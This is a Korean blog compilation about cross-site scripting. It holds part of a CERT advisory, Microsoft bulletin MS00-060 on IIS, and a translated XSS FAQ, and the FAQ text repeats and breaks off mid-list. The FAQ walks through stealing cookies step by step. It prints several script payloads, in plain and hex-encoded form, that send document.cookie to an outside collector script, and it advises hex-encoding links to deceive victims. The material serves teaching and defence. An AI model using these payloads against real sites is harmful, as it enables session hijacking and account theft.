CSS는 그냥 지나치기 쉽다. 하지만 당신의 비밀번호나 신용정보가 새어나가는 큰 손해를 볼 수 있다.
____________________________________________________________________________
Appendix: References and additional information
http://www.cert.org/advisories/CA-2000-02.html
http://www.cert.org/tech_tips/malicious_code_mitigation.html
http://www.kb.cert.org/vuls/id/672683
http://www.kb.cert.org/vuls/id/642239
http://www.kb.cert.org/vuls/id/560659
“CERT” and “CERT Coordination Center” are registered in the U.S. Patent and Trademark Office.
Copyright 2001 Carnegie Mellon University
*****************************************
나온지 꽤 되서 그런지 몰라도..
Apache, IIS 에서 몇군데 테스트 해보았는데 하나도 안 먹혔다..;;
아마 거의 다 패치 ㄷㅚㅆ을 것이다.
익스플로어의 URL parsing 취약점과 접근 부분에서 비슷한 부분도 있고..
흥미로운 문서였던 것 같다..
81.웹취약점&해결방안2009. 10. 21. 11:36
반응형
Microsoft Security Bulletin MS00-060
"IIS CSS (Cross-Site Scripting)" 취약점에 대한 패치 제공
최종 수정일 : 2005년 8월 18일
"IIS CSS (Cross-Site Scripting)" 취약점에 대한 패치 제공
| 요약 | |
| |
- Microsoft Internet Information Server 4.0
- Microsoft Internet Information Server 5.0
- 사용자에게 입력을 요청하는 경우
- 사용자 입력 내용의 유효성을 확인하지 않고 무조건 사용하는 경우
- 입력된 내용이 동적 웹 페이지에서 반영되어 사용자에게 전달되는 경우
- 마이크로소프트사는 취약점을 제거하는 패치를 전달했습니다.
- 마이크로소프트사는 고객이 취약점과 이를 제거하는 절차를 자세하게 이해할 수 있도록 보안 게시판 (security bulletin )과 FAQ를 제공했습니다.
- 마이크로소프트사는 사용자가 마이크로소프트 보안 게시판을 계속 업데이트해서 사용할 수 있는 무료 이메일 서비스인, 마이크로소프트 제품 보안 통보 서비스 (Microsoft Product Security Notification Service)의 모든 구독자에게 보안 게시물 사본을 전송했습니다.
- 마이크로소프트사는 취약점과 절차에 관해 보다 상세히 설명하고 있는 기술 자료 기사 Q260347와 Q275657를 발행했습니다.
2000년 8월 25일 Microsoft는 Microsoft Internet Information Server의 취약점을 제거하는 패치 제공을 알리기 위해 이 보안 공지 사항의 최초 버전을 발표했습니다. 그러나, 이후에 추가 변종 취약점이 확인되었으며 업데이트된 패치 제공을 알리기 위해 2000년 11월 2일 보안 공지 사항이 업데이트 되었습니다.
새로운 취약점의 범위는 최초로 보고됐던 것과 정확히 일치하며 업데이트된 패치는 알려진 모든 변종 취약점을 제거합니다. 따라서 최초 버전의 패치를 적용한 고객은 새로운 패치 버전을 적용해야 합니다.
- 영향 받는 소프트웨어:
기술 세부 사항- 기술적 설명:
2000년 2월 20일 Microsoft와 CERT
는 모든 웹 서버 제품에 영향을 미치는, 새롭게 확인된 보안 취약점에 대한 정보를 발표했습니다. CSS (Cross-Site Scripting) 로 알려진 이 취약점은 웹 어플리케이션이 입력된 내용을 동적 웹 페이지에서 사용하기 전에 적절한 유효성 검증을 하지 않을 경우 나타납니다. 만일 악의적인 웹 사이트 운영자가 사용자들을 자신의 사이트로 유인할 수 있고, CSS 취약점이 있는 제 3의 웹 사이트를 확인했다고 가정합시다. 그러면 악의적인 사용자는 잠재적으로 이 취약점을 이용하여 다른 웹 사이트가 생성한 웹 페이지에 스크립트를 삽입할 수 있고 이것은 사용자에게 전달됩니다. 최종 결과는 악의적인 사용자의 스크립트가 신뢰할 수 있는 다른 사이트를 이용해 사용자의 시스템에서 실행되게 합니다.
이 취약점은,웹 서버 상에서 실행하고 사용자 입력을 허용하며 웹 페이지를 생성하기 위해 맹목적으로 사용하는 모든 소프트웨어에 영향을 미칠 수 있습니다. Microsoft는 모든 제조 회사에게 이 취약점으로 인해 영향을 받는지 알아보기 위해 제품을 점검할 것을 권장하고 있으며 Microsoft 자사 제품들도 조사에 착수했습니다. IIS에서 몇 가지 영향을 받는 기능들이 발견되었는데-어떤 것은 Microsoft 내부 팀에서, 다른 것은 고객들에 의해 발견되었습니다.- 이 패치 파일은 이들을 모두 제거합니다. 자주 발생하는 질문 사항-
이 게시 내용은 어떤 사항을 다루고 있습니까?
2000년 8월 25일 Microsoft는 Microsoft Internet Information Server에 내포된 취약점을 제거하는 패치 제공을 알리기 위해 최초 버전의 Microsoft Security Bulletin(MS00-060)을 발표했습니다. 그러나, 추가 변종 취약점이 발견되었고 최초 취약점과 새로운 변종을 동시에 차단하기 위한 업데이트 패치를 제공하게 되었습니다.
취약점이 미치는 범위는 어디까지 입니까?
처음 발견된 취약점과 새로 발견된 변종은 정확히 같은 범위를 갖고 있습니다. 두 개의 취약점은 모두 악의적인 사용자가 제 3의 웹 사이트를 가장하여 다른 사용자의 컴퓨터에 코드를 실행시킬 수 있게 한다는 것입니다. 이러한 코드는 제 3의 사이트가 수행할 수 있는 모든 행위를 사용자의 컴퓨터 상에서 수행할 수 있습니다. 더욱이, 이 코드는 영속적으로 제작될 수 있으므로 사용자가 미래에 다시 웹 사이트를 방문하게 되면 또 실행되게 됩니다.
이 취약점은 사용자가 HTML 메일이나 악의적인 사용자의 웹 사이트에서 하이퍼텍스트 링크를 클릭할 경우에만 악용될 수 있습니다. -이 코드는 현존하는 세션에 "삽입"될 수 없습니다. 이 공지 사항에서 제공된 패치는 악의적인 사용자의 웹 사이트가 위에서 언급된 제 3의 사이트처럼 이용되는 것을 막기 위해 웹 서버 관리자들이 적용해야 합니다. 현재 버전의 패치는 최초 취약점과 새 변종 모두를 방지해 줍니다.
취약점을 야기하는 원인은 무엇입니까?
IIS가 제공하는 특정 웹 서비스들은 모든 입력 내용의 유효성을, 서비스를 사용하기 전에 제대로 확인하지 않습니다. 결과적으로CSS (Cross-Site Scripting) 취약점에 노출되게 됩니다.
CSS (Cross-Site Scripting)란 무엇입니까?
CSS는 최근에 발견된 보안 취약점으로서, 잠재적으로 악의를 가진 사용자가 웹 사이트와 연결된 사용자 세션을 통해 코드를 "삽입"하는 것입니다. 대부분의 보안 취약점들과는 달리 CSS는 특정 제조 회사의 제품에만 적용 되는 것이 아니고 대신, 웹 서버에서 실행하고 방어적인 프로그래밍 지침을 준수하지 않는 모든 소프트웨어에 영향을 미칠 수 있습니다. 2000년 초 Microsoft와 CERT
는 소프트웨어 업계에 이러한 문제를 알리고 산업계 전반이 이에 대처하도록 하기 위해 협력했습니다.
Microsoft는 잠재적 취약점에 대비해 개발자용 코드 점검 방법에 대한 정보를 포함해 CSS에 대한 광범위한 정보를 발행했습니다. Microsoft는 IIS에서 올바른 확인을 수행하지 않는 몇 군데 포인트를 확인했는데 - 몇 가지는 내부 팀에 의해 발견되었으며 나머지는 고객들에 의해 확인되었습니다. 제공되는 패치는 이런 모든 결함들을 제거합니다.
CSS는 어떻게 작동합니까?
executive summary 와 FAQ 에서 가장 잘 설명하고 있습니다. 여기서는 CSS가 어떻게 동작하는지에 대해 좀더 상세하게 다뤄보겠습니다.
어떤 웹 사이트 A에서 사용자가 찾고자 하는 단어나 구문을 입력할 수 있도록 검색 기능을 제공한다고 가정해 봅시다. 사용자가 "banana"라고 입력하였다면 사이트는 해당 구문을 찾기 시작할 것입니다. 그리고 나서는 "죄송합니다. 'banana'라는 단어를 찾지 못했습니다"와 같은 형태의 페이지를 생성하게 될 것입니다. 생성된 페이지는 웹 브라우저로 전송될 것이며, 해당 페이지를 해석하여 그 결과를 출력할 것입니다.
이제 사용자가 "banana"라고 입력하는 대신 "banana <SCRIPT> <Alert('Hello');> </SCRIPT>" 와 같이 입력한다고 가정해 봅시다. 검색 기능은 검색 구문이 무엇이든 간에 제공된 구문을 사용하도록 만들어져 있습니다. 결국 모든 문자열을 대상으로 찾아본 뒤, "죄송합니다. "banana <SCRIPT> <Alert('Hello');> </SCRIPT>" 라는 단어를 찾지 못했습니다."라고 알리는 웹 페이지를 만들게 됩니다. 그러나 실제로 "<SCRIPT>"와 "</SCRIPT>" 사이에 존재하는 구문은 프로그램 코드입니다. 따라서, 이 페이지가 처리되면 브라우저에는 "hello"라는 메시지를 출력하는 대화 상자가 나타나게 됩니다.
지금까지는 사용자가 어떻게 웹 서버에서 코드를 "전달해" 자신의 시스템에서 실행하게 만들 수 있는지에 대해서만 예를 들어 보여줬습니다. 이러한 것은 보안 취약점이 아닙니다. 그렇지만 악의적인 웹 사이트 관리자가 자신의 사이트를 방문하는 사용자의 컴퓨터에 코드를 실행하는 것이 가능합니다. 만약 악의적인 사용자가 웹 사이트 B를 운영하고 있고 자신의 웹 사이트를 방문해 하이퍼링크를 클릭하도록 사용자들을 유인할 수 있다면 그의 사이트는 웹 사이트 A로 이동하여 검색 페이지에 악의적인 스크립트를 삽입한 뒤 사용자를 대신하여 이를 제출(submit)할 수 있습니다. 그 결과로 작성된 페이지는 사용자에게 리턴되며(사용자가 하이퍼링크를 클릭하게 되면 궁극적으로는 요청자가 되어 버립니다), 사용자의 컴퓨터에서 처리됩니다. 결국 악의적인 사용자의 스크립트가 사용자의 컴퓨터에서 실행되게 됩니다.
사용자의 컴퓨터에서 스크립트는 어떻게 일을 수행하게 됩니까?
이것은 웹 사이트 A가 사용자 컴퓨터에서 갖고 있는 특권에 따라 달라집니다. 웹 사이트 A, B 모두 특정 사용자의 컴퓨터에서 동일한 권한을 갖고 있다면, 이 취약점은 별다른 이득을 줄 수 없습니다. 그러나, 사용자가 웹 사이트 A를 신뢰하는 사이트로 지정하고 컴퓨터에 대해 높은 권한을 부여해 놓는다면 악의적인 사용자의 코드는 이런 향상된 특권을 이용할 수 있습니다.
사용자가 사용한 브라우저가 문제가 됩니까?
아닙니다. 이 문제는 웹 브라우저가 아닌, 웹 서버 소프트웨어에 있다는 것이 중요한 포인트입니다. 이 취약점은 잠재적으로 사용자가 제공하는 입력을 검사하지 않고 사용하는 웹 서버 소프트웨어에서는 언제든지 일어날 수 있습니다. 실제로 사용자의 입력 내용 중 적절하지 않은 것은 필터링해야 합니다. 위에서 예를 든 검색 엔진은 스크립트를 삽입하기 위해 사용되는 문자들인 "<"나 ">" 등이 검색 과정에 삽입되지 않도록 추려 내어야 합니다. 이렇게 걸러내어야 할 문자들에 대한 것은 기술 자료 기사 Q252985 에 설명되어 있습니다.
웹 사이트를 운영하고 있습니다. 위의 예 중 어떤 웹 사이트가 제 웹 사이트입니까?
웹 사이트 A가 해당 웹 사이트입니다. 이 취약점은 웹 사이트 자체에 직접 위협을 주지는 않습니다.- 즉 악의적인 사용자는 웹 사이트를 손상시킬 수 없으며, 이 취약점을 이용하여 내용의 일부를 추가하거나 변경, 혹은 삭제할 수 없습니다. 그러나, 악의적인 사용자는 사이트를, 사용자를 공격하는 수단으로 이용할 수 있습니다.
그렇다면 패치는 브라우저가 아니고 서버에 설치되어야 합니까?
그렇습니다. 영향을 받는 제품을 사용하는 고객들은 자신의 웹 사이트가 CSS 시나리오로 이용되는 것을 막기 위해 이 패치를 설치해야 합니다.
웹 서버에서 실행되는 다른 소프트웨어도 CSS 취약점에 이용될 수 있습니까?
웹 서버에서 운영되는 모든 소프트웨어는 다음과 같은 경우에 CSS 취약점을 가질 수 있습니다.
| 패치 다운로드 | |
| |
-
해당 패치의 다운로드 위치
- Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25539 - Internet Information Server 5.0:
별개의 한국어 패치가 지원되지 않습니다. Windows 2000 서비스 팩 2에 이 패치가 포함되어 있습니다. - CSS (Cross-Site Scripting) 보안 취약점에 대한 정보
http://support.microsoft.com/default.aspx?scid=%2Fisapi%2Fgomscom%2Easp%3Ftarget%3D%2Fkorea%2Fsupport%2Fxmlkb%2Fkr253117%2Easp&LN=KO - CERT Advisory CA-2000-02: 클라이언트 웹 요청에 삽입되는 악성 HTML 태그
http://www.cert.org/advisories/CA-2000-02.html
- IIS 4 - Microsoft 기술 자료 기사 Q260347,
http://www.microsoft.com/korea/support/xmlkb/kr260347.asp - IIS 5 - Microsoft 기술 자료 기사 Q275657
http://www.microsoft.com/korea/support/xmlkb/kr275657.asp
이 패치에 관한 추가 정보- 설치 플랫폼: 이 문제점에 관한 추가 정보는 다음 내용을 참조하십시오.
| 기타 정보: | |
| |
-
감사의 말: Microsoft는 고객 보호를 위해 이 정보를 알려주고 협조해 주신 Defcom (www.defcom.com)
의 Peter Grundl에게 감사를 드립니다.
지원:
이 패치는 모든 지원을 받을 수 있습니다. Microsoft Product Support Services와 관련된 정보는 http://support.microsoft.com/support/contact/default.asp 에서 이용하실 수 있습니다.
보안 관련 자원: Microsoft TechNet Security 웹 사이트는 Microsoft 제품군의 보안에 관한 추가 정보를 제공합니다.
알림: Microsoft 지식 기반에서 제공되는 정보는 어떤 유형의 보증 사항이 없이 제공됩니다. Microsoft사는 특정 목적을 위한 시판 가능성 및 적합성에 관한 보증을 포함해 표명된 또는 암시된 형태로 모든 보증 사항을 알려줍니다. Microsoft사 또는 관련 공급 업체는 손상에 관해 충고를 한 경우라도, 어떠한 형태의 직간접적인, 우발적인, 필연적인 사업상 이익의 손실 또는 특수한 손해에 대해서도 책임을 지지 않습니다.
최종 수정일 : 2005년 8월 18일
81.웹취약점&해결방안2009. 10. 21. 11:33
반응형
Cross Site Scripting(XSS)취약점 -FAQ
원문: http://www.cgisecurity.com/articles/xss-faq.txt
요약 정리: vangelis(wowcode of http://www.wowhacker.org)
도입 오늘날 웹사이트는 사용자들을 더 즐겁게 하기 위해 동적인 컨텐츠를 포함하고 있어 전보다 더 복잡해졌다. 동적 컨텐츠는 기본 설정이나 필요에 따라 사용자에게 다른 출력물을 전달할 수 있는 웹 어플리케이션의 사용을 통해 성취된다. 동적 웹사이트는 정적 사이트가 가지고 있지 않은 “Cross Site Scripting”(또는 XSS) 문제를 가지고 있다. 이 문서는 이 문제에 대해 좀더 체계적인 설명을 하고자 하는 의도에서 쓰여졌다.
"Cross Site Scripting이란 무엇인가?" Cross site scripting (XSS로도 알려짐)은 웹 어플리케이션이 어떤 사용자로부터 악의적인 데이터를 수집할 때 발생한다. 그 데이터는 보통 하이퍼링크의 형태로 수집되는데, 그 하이퍼링크는 그 안에 악의적인 내용을 포함하고 있다. 사용자는 다른 웹사이트, 웹보드, 이메일 등에 포함된 링크를 클릭할 것이다. 보통 공격자는 hex 또는 다른 방법으로 그 사이트에 대한 링크의 악의적인 부분을 인코딩할 것이며, 그래서 그 리퀘스트는 사용자에게 덜 의심스럽게 보인다. 데이터가 웹 어플리케이션에 의해 수집된 이후 그것은 그 사용자를 위해 그것에 원래 보내진 악의적인 데이터를 포함한 페이지를 출력한다. 하지만 그것을 그 웹사이트로부터 나온 유효한 내용인 것처럼 보이도록 만든다.
"XSS와 CSS는 무엇을 의미하는가?" 종종 사람들은 Cross Site Scripting을 CSS로 지칭한다. Cascading Style Sheets(CSS)와 cross site scripting 사이에는 많은 혼동이 있었다. 어떤 보안 전문가들은 Cross Site Scripting을 XSS로 지칭하기도 한다.
"Cross Site Scripting의 위협은 무엇인가?"
종종 공격자는 사용자를 골려주기 위해 또는 그들로부터 데이터를 수집하기 위해 JavaScript, VBScript, ActiveX, HTML, 또는 Flash를 투입한다. 계정 하이재킹(account hijacking)으로부터 공격자는 사용자의 설정을 변경하거나, 쿠키를 훔치거나 잘못된 광고가 가능하다. 새로운 악의적인 XSS 공격 방법들이 발견되고 있다. 아래에 링크된 Brett Moore가 올린 글은 특정 호스트들에 대한 “서비스 거부 공격”이나 “자동 공격”에 대한 좋은 설명을 보여준다. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"Cross Site Scripting 공격의 몇 가지 예" 많은 XSS 취약점을 가진 제품의 예가 PHPnuke이다. 이 제품은 종종 그 유명세 때문에 XSS 취약점을 점검하기 위한 목표로 공격자들에게 그 대상이 되기도 한다. 다음은 이 PHPnuke의 취약점에 대한 링크이다.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "XSS 쿠키를 훔치는 방법은?" 특정 웹 어플리케이션에 따라 공격 방법이 조정될 필요가 있다. 다음은 간단한 한 예일뿐이다.
1단계: 목표 설정
어떤 웹사이트의 웹 어플리케이션에서 XSS 취약점을 발견한 후 쿠키를 생성하는지 확인한다. 만약 웹 사이트의 어떤 부분이 쿠키를 사용한다면 사용자로부터 그 쿠키를 훔치는 것이 가능하다. 2단계: 테스트 XSS 취약점은 어떻게 공략되는가에 따라 다르므로 출력물을 믿을 수 있도록 만들기 위해 테스트가 실행될 필요가 있다. 스크립트에 코드를 삽입함으로써 그것의 출력물은 변경될 수 잇고, 그 페이지는 깨진 상태로 나타날 수 있다. (마지막 결과는 중요하며, 공격자는 그 페이지가 정상적인 것으로 보이도록 코드를 손볼 필요가 있다.) 다음으로 취약한 사이트의 부
분을 가리키는 URL에 자바스크립트(또는 다른 클라이언트 쪽의 스크립팅 언어)를 투입할 필요가 있다. 아래에 제시된 것은 XSS 취약점을 테스트할 때 사용되는 것들이다. 각각을 클릭했을 때 사용자의 쿠키를 www.cgisecurity.com/cgi-bin/cookie.cgi에 보내고, 그것을 보여줄 것이다. 만약 그 쿠키를 볼 수 있다면 사용자의 계정에 대한 세션 하이재킹도 가능할 것이다.
다음은 쿠키를 훔치는 Javascript 예이다. ASCII 용법: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Hex 용법: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%
72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 이것들은 악의적인 자바스크립트의 예들이다. 이 스크립트는 사용자의 쿠키를 수집하고, 그런 다음 질의를 받을 경우 cgisecurity.com 사이트에 리퀘스트를 보낸다. 그러면 cgisecurity.com에 있는 스크립트는 각각의 쿠키와 리퀘스트를 기록할 것이다. 간단히 말하면 다음과 같다.
My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi 이것은 다음과 같은 리퀘스트를 사이트에 보낸다.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (%20은 한 공간에 대한 hex 인코딩이다.) 이것은 사용자의 쿠키를 획득할 수 있는 원시적이지만 효과적인 방법이다. 이 스크립트의 사용에 대한 로그는 www.cgisecurity.com/articles/cookie-theft.log에서 찾을 수 있다. 3 단계: XSS 실행 실행을 위해 조작된 url, 이메일, 과련 소프트웨어를 이용한다. 이메일이나 aim, 또는 다른 수단으로 통해 사용자에게 HEX로 인코딩한 URL을 제공해야함을 기억하자. 이 코드는 분명 의심스럽게 보이지만 많은 hex 문자로 되어 있는 것은 어떤 사람들을 바보로 만들 수 있다. 위에서 제시된 예에서는 단지 cookie.cgi로 사용자를 포워딩했을뿐이다. 시간이 있는 공격자라면 몇가지 리다이렉트와 XSS 조합을 통해 사용자의 쿠키를 훔칠 수 있으며, 그것을 쿠키를 훔쳤다는 것을 들키지 않고 웹사이
트로 리턴할 수 있다.
몇몇 이메일 프로그램은 메시지에 자바스크립트가 첨부되면메시지를 열자말자 그 스크립트를 실행할 수도 있다. Hotmail 같은 대규모 사이트는 자바스크립트를 첨부하도록 허용하고 있으나 쿠키를 훔치는 것을 막기 위해 특별한 필터링을 한다.
4단계: 이 데이터로 무엇을 할 것인가 사용자가 XSS 취약점을 실행하도록 하면 데이터가 수집되어 공격자의 CGI로 보내진다. 이제 쿠키를 가지게 되면 계정 하이재킹이 가능한지 알아보기 위해 Websleuth와 같은 툴을 사용할 수 있다. 좀더 세부적인 것은 http://www.idefense.com/XSS.html을 참고해라. "업체의 방어 방법은?" 이것에 대한 대답은 간단하다. 사용자가 입력한 것을 신뢰하지 말고 항상 메타 문자들을 필터링해라. 이것은 대부분의 XSS 공격을 막을 수 있다. < 와 >를 <와 >로 전환하는 것도 좋은 생각이다. 이것으로는 충분치 않기 때문에 ( 그리고 )로 변환시킴으로써 ( 와 )를 필터링하는 것도 제안한다.
"일반 사용자의 방어 방법은?" 자신을 보호하는 가장 쉬운 방법은 메인 웹사이트에 있는 링크를 따라가는 것이다. 특정 사이트에 링크된 것을 누르는 대신 검색엔진을 이용해 그 사이트를 찾고, 그런 다음 그 사이트로 이동하는 것이 좋을 것이다. 또한 어떤 경우에 XSS은 이메일이나 첨부 파일을 열어었을 때 자동으로 실행되는 경우도 있으므로, 모르는 사람으로부터 그런 메일을 받았을 경우 신뢰하지 않은 것이 좋다. 또 다른 방어 방법은 사용하고 있는 브라우저의 설정 부분에서 자바스크립트를 활성화시키지 않는 것이다. IE를 사용한다면 보안 설정을 높게 잡으면 된다.
"어떻게 XSS 취약점이 일반적인가?" Cross site scripting 취약점은 해커들 사이에서 대규모 사이트에서 찾기 쉬운 취약점으로서 인기를 얻고 있다. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, 그리고 Newsbytes등의 사이트는 하나 내지 그 이상의 XSS 취약점을 가지고 있다. 매달 대략 10-25개 정도의 XSS 취약점이 상용 제품에서 발견되고 있으며, 그 위험성을 설명하는 권고문들이 발표되고 있다.
"암호화가 방어책이 될 수 있는가?" SSL(https)을 사용하는 웹사이트들도 완전히 안전한 것은 아니다. 일반 사용자들도 그들의 브라우저를 통제하고 있다고 해서 완벽한 완전이 보장된다고 생각해서는 안된다.
"XSS 취약점은 명령을 실행할 수 있는가?" XSS 취약점은 자바스크립트 투입을 허용할 수 있다. 그것은 제한된 실행을 허용할 것이다. 만약 공격자가 브라우저의 취약점을 공략한다면 클랑언트 측에 대해 명령을 실행하는 것이 가능할 것이다. 만약 명령 실행이 가능하다면 단지 클라이언트 측에만 가능할 것이다. 간단히 말해 XSS 취약점은 브라우저에 존재하는 다른 취약점을 공격하는데 도움이 되도록 사용될 수 있다.
"CSS/XSS 취약점을 수정하지 못할 경우 어떻게 해야 하는가?" XSS 취약점을 해결하지 못할 경우 이것은 사용자 계정을 장악하는 것을 허용할 수 있다. XSS 취약점은 여러 사이트에서 발견되고, 광범위하게 공개되고 있다. 이것은 그 사이트의 보안이 제대로 되어 있지 않다라는 불명예를 안겨줄 수 줄 수 있다. 만약 특정 사이트의 고객들이 그 사이트를 신뢰하지 못한다면 그 사이트와의 거래는 하지 않을 것이다.
[참고문헌] http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm http://www.perl.com/pub/a/2002/02/20/css.html http://www.cert.org/advisories/CA-2000-02.html http://www.cert.org/tech_tips/cgi_metacharacters.html http://eyeonsecurity.net/papers/passporthijack.html http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies http://www.cgisecurity.com/articles/xss-faq.txt
원문: http://www.cgisecurity.com/articles/xss-faq.txt
요약 정리: vangelis(wowcode of http://www.wowhacker.org)
도입 오늘날 웹사이트는 사용자들을 더 즐겁게 하기 위해 동적인 컨텐츠를 포함하고 있어 전보다 더 복잡해졌다. 동적 컨텐츠는 기본 설정이나 필요에 따라 사용자에게 다른 출력물을 전달할 수 있는 웹 어플리케이션의 사용을 통해 성취된다. 동적 웹사이트는 정적 사이트가 가지고 있지 않은 “Cross Site Scripting”(또는 XSS) 문제를 가지고 있다. 이 문서는 이 문제에 대해 좀더 체계적인 설명을 하고자 하는 의도에서 쓰여졌다.
"Cross Site Scripting이란 무엇인가?" Cross site scripting (XSS로도 알려짐)은 웹 어플리케이션이 어떤 사용자로부터 악의적인 데이터를 수집할 때 발생한다. 그 데이터는 보통 하이퍼링크의 형태로 수집되는데, 그 하이퍼링크는 그 안에 악의적인 내용을 포함하고 있다. 사용자는 다른 웹사이트, 웹보드, 이메일 등에 포함된 링크를 클릭할 것이다. 보통 공격자는 hex 또는 다른 방법으로 그 사이트에 대한 링크의 악의적인 부분을 인코딩할 것이며, 그래서 그 리퀘스트는 사용자에게 덜 의심스럽게 보인다. 데이터가 웹 어플리케이션에 의해 수집된 이후 그것은 그 사용자를 위해 그것에 원래 보내진 악의적인 데이터를 포함한 페이지를 출력한다. 하지만 그것을 그 웹사이트로부터 나온 유효한 내용인 것처럼 보이도록 만든다.
"XSS와 CSS는 무엇을 의미하는가?" 종종 사람들은 Cross Site Scripting을 CSS로 지칭한다. Cascading Style Sheets(CSS)와 cross site scripting 사이에는 많은 혼동이 있었다. 어떤 보안 전문가들은 Cross Site Scripting을 XSS로 지칭하기도 한다.
"Cross Site Scripting의 위협은 무엇인가?"
종종 공격자는 사용자를 골려주기 위해 또는 그들로부터 데이터를 수집하기 위해 JavaScript, VBScript, ActiveX, HTML, 또는 Flash를 투입한다. 계정 하이재킹(account hijacking)으로부터 공격자는 사용자의 설정을 변경하거나, 쿠키를 훔치거나 잘못된 광고가 가능하다. 새로운 악의적인 XSS 공격 방법들이 발견되고 있다. 아래에 링크된 Brett Moore가 올린 글은 특정 호스트들에 대한 “서비스 거부 공격”이나 “자동 공격”에 대한 좋은 설명을 보여준다. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"Cross Site Scripting 공격의 몇 가지 예" 많은 XSS 취약점을 가진 제품의 예가 PHPnuke이다. 이 제품은 종종 그 유명세 때문에 XSS 취약점을 점검하기 위한 목표로 공격자들에게 그 대상이 되기도 한다. 다음은 이 PHPnuke의 취약점에 대한 링크이다.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "XSS 쿠키를 훔치는 방법은?" 특정 웹 어플리케이션에 따라 공격 방법이 조정될 필요가 있다. 다음은 간단한 한 예일뿐이다.
1단계: 목표 설정
어떤 웹사이트의 웹 어플리케이션에서 XSS 취약점을 발견한 후 쿠키를 생성하는지 확인한다. 만약 웹 사이트의 어떤 부분이 쿠키를 사용한다면 사용자로부터 그 쿠키를 훔치는 것이 가능하다. 2단계: 테스트 XSS 취약점은 어떻게 공략되는가에 따라 다르므로 출력물을 믿을 수 있도록 만들기 위해 테스트가 실행될 필요가 있다. 스크립트에 코드를 삽입함으로써 그것의 출력물은 변경될 수 잇고, 그 페이지는 깨진 상태로 나타날 수 있다. (마지막 결과는 중요하며, 공격자는 그 페이지가 정상적인 것으로 보이도록 코드를 손볼 필요가 있다.) 다음으로 취약한 사이트의 부
분을 가리키는 URL에 자바스크립트(또는 다른 클라이언트 쪽의 스크립팅 언어)를 투입할 필요가 있다. 아래에 제시된 것은 XSS 취약점을 테스트할 때 사용되는 것들이다. 각각을 클릭했을 때 사용자의 쿠키를 www.cgisecurity.com/cgi-bin/cookie.cgi에 보내고, 그것을 보여줄 것이다. 만약 그 쿠키를 볼 수 있다면 사용자의 계정에 대한 세션 하이재킹도 가능할 것이다.
다음은 쿠키를 훔치는 Javascript 예이다. ASCII 용법: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Hex 용법: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX 